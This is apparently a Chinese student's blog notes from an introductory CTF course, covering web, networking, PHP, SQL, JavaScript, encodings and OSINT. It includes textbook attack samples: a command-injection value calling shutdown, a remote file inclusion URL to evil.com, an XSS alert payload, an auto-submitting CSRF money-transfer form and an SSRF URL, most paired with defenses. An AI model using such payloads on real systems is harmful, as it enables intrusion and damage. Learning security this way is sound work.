CTF

CTF

课程链接

Schedule

What is CTF

Capture The Flag.

  • 真实漏洞利用场景的复现
  • Game of Hackers
  • 高自闭性竞技项目

一些著名的比赛

  • DEFCON CTF
  • Codegate CTF
  • 强网杯
  • 国赛

CTF比赛类型和方向

  • AWD (Attack With Defense) 形式比赛
    维护、加固服务器,攻击对方服务器
  • Jeopardy 解题形式比赛
    一般 8h/ 24h/ 48h
    赛题类型
    • reverse: 二进制程序逆向。
    • pwn: 二进制程序漏洞利用
    • web: 网络安全漏洞利用
    • crypto: 密码学
    • misc: 杂项

为什么要打CTF

  • 安全领域工作经验
  • 为了后续课程不那么painful
  • 保研加分(编者就算了)
  • 锤炼实战技术

如何学习CTF

重要法则

  • RTFM (Read The F**king Manual)
  • STFW (Search The F**king Web)
  • RTFSC (Read The F**king Source Code)

Web

  • All things on the internet.

Web 应用架构:客户端 + 服务端

  • 客户端:浏览器
    可视化、人机交互、缓存、Cookie、安全
  • 服务端:服务器
    认证与鉴权、处理请求、安全

网络:数据交换

  • 数据包的传输和路由:由各种协议传输数据包。

  • 域名和DNS系统:通过DNS将域名转化为IP地址

  • OSI模型和TCP/IP模型

    OSI模型:OSI模型

    TCP/IP模型:
    TCP/IP模型

  • TCP/IP协议详解

    • IP:网络层=主机到主机,数据包寻址(快递公司)
    • TCP:传输层=应用到应用,或者说端到端(菜鸟驿站)
  • HTTP协议
    应用层、存在Cookie

nslookup

nslookup domain dnsserver例如

1
2
3
4
5
6
7
8
9
❯ nslookup baidu.com
Server: 10.255.255.254
Address: 10.255.255.254#53

Non-authoritative answer:
Name: baidu.com
Address: 39.156.66.10
Name: baidu.com
Address: 110.242.68.66

nslookup -type=type domain例如

1
2
3
4
5
6
7
8
9
10
PS C:\Users\wylc> nslookup -type=TXT cubicy.icu
...
非权威应答:
cubicy.icu text =

"google-site-verification=1fhjV2lfeA6mIocyby2UVcZ8bC8o8NpJreyw1OLPDUY"
cubicy.icu text =
"v=spf1 -all"
cubicy.icu text =
"5aSx5oGL44K944Oz44Kw5rKi5bGx6IG044GE44GmCuazo+OBhOOBpuOBsOOBi+OCiuOBruengeOBr+OCguOBhgrmjajjgabjgZ/jgYTjgYvjgokK5b+Y44KM44Gf44GE44GL44KJCuOCguOBhiDlkJvjga7jgZPjgajjgarjgpPjgaYK5b+Y44KM44Gh44KD44GG44GL44KJ44GtICAKU1VLSVNVS0lTVUtJU1VLSVNVS0k="

上面这段base64可以解密为

失恋ソング沢山聴いて
泣いてばかりの私はもう
捨てたいから
忘れたいから
もう 君のことなんて
忘れちゃうからね
SUKISUKISUKISUKISUKI

tracert

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\wylc> tracert cc98.org

通过最多 30 个跃点跟踪
到 cc98.org [10.10.98.98] 的路由:

1 * * * 请求超时。
2 39 ms 36 ms 26 ms 10.3.9.6
3 30 ms 23 ms 24 ms 10.3.7.229
4 * * * 请求超时。
5 30 ms 60 ms 21 ms 10.10.98.98

跟踪完成。

追踪DNS的跳转路径。

后端:业务逻辑

后端是Web的核心,负责处理业务逻辑、数据储存和安全。需要学习后端安全,尤其是如何防范和应对CTF (Capture The Flag) 中常见的逻辑漏洞攻击。

  • 常见后端技术栈(如Node.js、PHP、Python)

  • 后端安全:永远不要相信用户的数据,前端过滤相当于没有。

  • CTF:通过逻辑漏洞欺骗后端
    逻辑漏洞:if money!=0 then money-=price那么money=-1
    没接触过安全领域前关于安全的错觉:

    • 这么蠢的洞也有人写?
    • 这么写怎么可能有洞?
    • 这么多人用怎么可能有洞?

    事实上,连SSH都刚发现了高危漏洞CVE-2024-6387

    例如printf("%d", _____)

    正常输入:1 2 3

    恶意输入:1); system("shutdown -s -t 0"); //

    就变成了printf("%d", 1); system("shutdown -s -t 0"); //)

    爆了

PHP

PHP是最早的Web开发语言之一,它在Web开发历史上占有重要地位。

但是他快似了

可以使用PHP Study配置环境

  • 变量定义

    1
    2
    3
    4
    $name = "John"; // 字符串变量
    $age = 25; // 整数变量
    $height = 1.75; // 浮点数变量
    $isStudent = true; // 布尔变量
  • 短标签<?=$a?>

  • 例子:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <!DOCTYPE html>
    <html>
    <head>
    <title>PHP 示例</title>
    </head>
    <body>
    <h1>欢迎使用 PHP</h1>
    <?php
    // 定义变量
    $name = "John";
    $age = 25;

    // 输出变量
    echo "<p>你好,我的名字是 $name,我今年 $age 岁。</p>";

    // 条件语句
    if ($age >= 18) {
    echo "<p>我已成年。</p>";
    } else {
    echo "<p>我未成年。</p>";
    }

    // 数组
    $fruits = array("apple", "banana", "cherry");
    echo "<p>我喜欢的水果有:</p>";
    echo "<ul>";
    foreach ($fruits as $fruit) {
    echo "<li>$fruit</li>";
    }
    echo "</ul>";

    // HTML 短标签
    ?>
    <p>这是使用 HTML 短标签的示例:</p>
    <?= "当前时间是:" . date("Y-m-d H:i:s") ?>

    <?php
    $fr = "pear";
    $pear = 114;
    $lingo = 514;
    echo $$fr;
    ?>
    </body>
    </html>

SQL

SQL主要有增删改查四种常常使用的指令


  • insert [into] <表名> [列名] values <列值>
    例如 insert into Strdents (姓名,性别,出生日期) values ('王伟华','男','1983/6/15')


  • delete from <表名> [where <条件>]
    例如 delete from a where name='王伟华'
    如果没有条件,则删除全部


  • update <表名> set <列名=更新值> [where <更新条件>]
    例如 update addressList set 年龄=18 where 姓名='王伟华'

  • select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]

    例如 select * from aselect i,j,k from a where f=5

通过使用SQL注入获取数据库当中的数据。

可以从MySQL入门。

相关安全话题

Cookie与Session
  • Cookie是储存在客户端的小型文本文件,通常用于存储用户的偏好设置、身份验证信息等。
  • Session储存在服务器端的临时数据储存区域,通常用于储存用户的会话状态信息。
逻辑漏洞

不愧是你啊js

文件包含

通过构造恶意URL,如index.php?page=http://evil.com/malicious.php,包含远程恶意文件,从而执行恶意代码。

越权

例如一个Web应用允许用户查看自己的订单信息,但未正确验证用户的身份。攻击者可以通过篡改URL参数,如order.php?id=123,查看其他用户的订单信息。

前端:可视化与操作逻辑

前端三剑客:HTML,CSS,JS。其中可能包含一些漏洞,外加JS现在使用的不多。现代的解决方案是使用前端框架,如React.js,Vue.js 但本质上还是原生js。

编码基础:JavaScript与TypeScript

JavaScript

简称JS,由Netscape公司的Brendan Eich在十天内开发,用于浏览器端的动态网页内容生成。

  • 变量声明,使用var, let, const声明

    1
    2
    3
    var x = 5;
    let y = 10;
    const z = 15;
  • 函数定义

    1
    2
    3
    function add(a,b) {
    return a + b;
    }
  • 条件判断

    1
    2
    3
    4
    5
    if (x > y) {
    console.log("x is greater than y");
    } else {
    console.log("x is less than or equal to y");
    }
  • 循环

    1
    2
    3
    for (let i = 0; i < 5; i++) {
    console.log(i);
    }
  • 事件处理

    1
    2
    3
    document.getElementById("myButton").addEventListener("click", function() {
    alert("Button clicked!");
    });

JS很灵活,但同时也存在类型不安全、代码维护性差等问题。

TypeScript

简称TS,由微软开发,是JavaScript的超集,增加了静态类型和类等特性。

  • 静态类型。通过类型检查减少运行时的错误,提高代码的可维护性。

    1
    let message: string = "Hello, TypeScript!";
  • 类和接口:支持面向对象变成,增强代码结构性。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    class Greeter {
    greeting: string;
    constructor(message: string) {
    this.greeting = message;
    }
    greet() {
    return "Hello, " + this.greeting;
    }
    }

    let greeter = new Greeter("world");
    console.log(greeter.greet());
  • 模块化:支持模块化编程,提高代码复用性和组织性。

    1
    2
    import { add } from './math';
    console.log(add(2, 3));

Node.js

Node.js 是由Ryan Dahl在2009年开发的一个开源、跨平台的JavaScript运行时环境,使JavaScript可以用于服务器端开发。

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const http = require('http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) => {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end('Hello, World!\\n');
});

server.listen(port, hostname, () => {
console.log(`Server running at <http://$>{hostname}:${port}/`);
});

相关安全话题

  1. XSS(跨站脚本攻击)
    假设有一个留言板应用,用户可以提交留言,如果应用没有对用户输入进行过滤盒编码,攻击者可以提交以下恶意留言:

    1
    <script>alert('XSS攻击!');</script>

    当其他用户访问留言板时,这段脚本会在他们的浏览器中执行,弹出一个警告框。

    防护措施:

    • 输入验证
    • 输出编码
    • Content Security Policy (CSP)
  2. CSRF(跨站请求伪造)与 SSRF(服务器端请求伪造)

    • CSRF
      通过在链接或者图片src当中隐藏链接,通过利用浏览器自带的Cookie来进行操作。

      1
      2
      3
      4
      5
      <form action="<https://bank.com/transfer>" method="POST">
      <input type="hidden" name="to" value="attacker">
      <input type="hidden" name="amount" value="1000">
      </form>
      <script>document.forms[0].submit();</script>

      可以通过CSRF Token, SameSite Cookie 来防护

    • SSRF
      假设有一个Web应用允许用户输入URL并获取该URL的内容。攻击者可以输入内部服务的URL,获取敏感信息:

      1
      <https://example.com/fetch?url=http://internal-service:8080/secret>

      可以通过白名单机制进行防护。

  3. 跨域
    假设有一个Web应用需要从另一个域名加载数据,但由于同源策略,直接请求会被阻止

    1
    2
    3
    4
    fetch('<https://api.example.com/data>')
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('Error:', error));

    防护措施有CORS(跨域资源共享),代理服务器。

地址栏输入网址并访问后发生了什么

y3\mathrm{y}^3锐评为经典老番。

  1. DNS解析(域名解析):
    • 检查本地缓存是否有对应IP
    • 否则向DNS发送请求
  2. 建立TCP连接
    浏览器使用前面得到的IP地址,通过TCP/IP协议与目标服务器建立连接。其中包括三次握手的过程
  3. 发送HTTP请求
    包含请求方法(如GET和POST)、请求的资源路径以及一些头信息。
  4. 服务器处理请求并返回响应
  5. 浏览器接受响应并渲染页面
  6. 加载资源

Misc

miscellaneous 杂项

Misc=AllPwnWebCryptoReverseMisc = All-Pwn-Web-Crypto-Reverse

一般包括

  • 签到题
  • 套娃题
  • 隐写、取证、OSINT(信息收集)、PPC(编程类)
  • 游戏类
  • 解编码、古典密码
  • 网络解密、网站代码审计
  • 代码审计、沙箱逃逸
  • AI

类型比较杂,所以一般没有什么固定的做法。

多刷

编码

常见的编码包括ASCII、UTF-8、GBK、GB_2312等

如Unicode字符集,以平面划分,17个平面,每个平面65536个码位。通过码位可以表示为U+0000 ~ U+10FFFF,可容纳111w+个字符。

UTF-8:变长编码(1~4),兼容ASCII

  • 0xxxxxxx
  • 110xxxxx 10xxxxxx
  • 1110xxxx 10xxxxxx 10xxxxxx
  • 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

几个字符集不兼容的部分互相编解码,就会乱码。如

  • GBK解码UTF-8
  • UTF-8解码GBK
  • latin-1解码UTF-8

Base编码

  • Base16:即16进制表示字节流,长度翻倍
  • Base32:按照 5 bit 一组,按照字符表(A-Z2-7)映射,不齐用=补齐
  • Base64:按照 6 bit 一组,按照字符表映射,标准字符表为A-Za-z0-9+/,另有多种常用字符表,如URL安全字符表:A-Za-z0-9-_,另外结果长度必须是4的倍数,不足的用=补齐

more

其他常用编码有UUencode、XXencode,QR Code二维码、条形码、盲文编码

还有一些类编码,如北约音标字母、地点三词编码、What3Words

再有一些常见工具,如

OSINT

Open Source INTelligence:开源网络情报

通过完全公开的信息进行合理的推理,获取情报。

文件信息泄露

各种文档的metadata可能包括作者、创建时间等。图片的EXIF信息可以通过exiftool来查看,一般以xml形式储存,可以直接通过二进制删除。

工程文件夹泄露信息包括Visual Studio的各种配置文件,.vs文件夹中的信息,.vscode文件夹中的配置文件,.git文件夹中的修改历史、提交信息、提交者等

照片信息分析

搜一下是否是公开的图片或已有的图片素材,常用百度识图、Google识图等。TinEye可用于搜索完全相同的图片。

注意图片中的问题、牌匾、标志性建筑等,可用来作为关键词搜索。如果图中关键信息较少,可优先考虑使用搜索引擎识图。

对于“拍摄高度分析”的题目,可以通过找灭点确定视平线,然后数数楼层。

太阳角度、阴影长度等太阳相关:

天气信息、云层信息等

飞机航班信息:

PWN

CTF PWN Bugs cont

  • C/C++ language -> memory corruption bugs
  • Clear exploitation aim ->code execution
  • Naive program

Crypto

  • 为什么需要密码学
    • 存储:信息的储存是不安全的
    • 传输:信息的传输可能会被截获

Cryptohack上可以写一些例题


CTF
http://example.com/2024/07/02/CTF/
作者
Penner
发布于
2024年7月2日
许可协议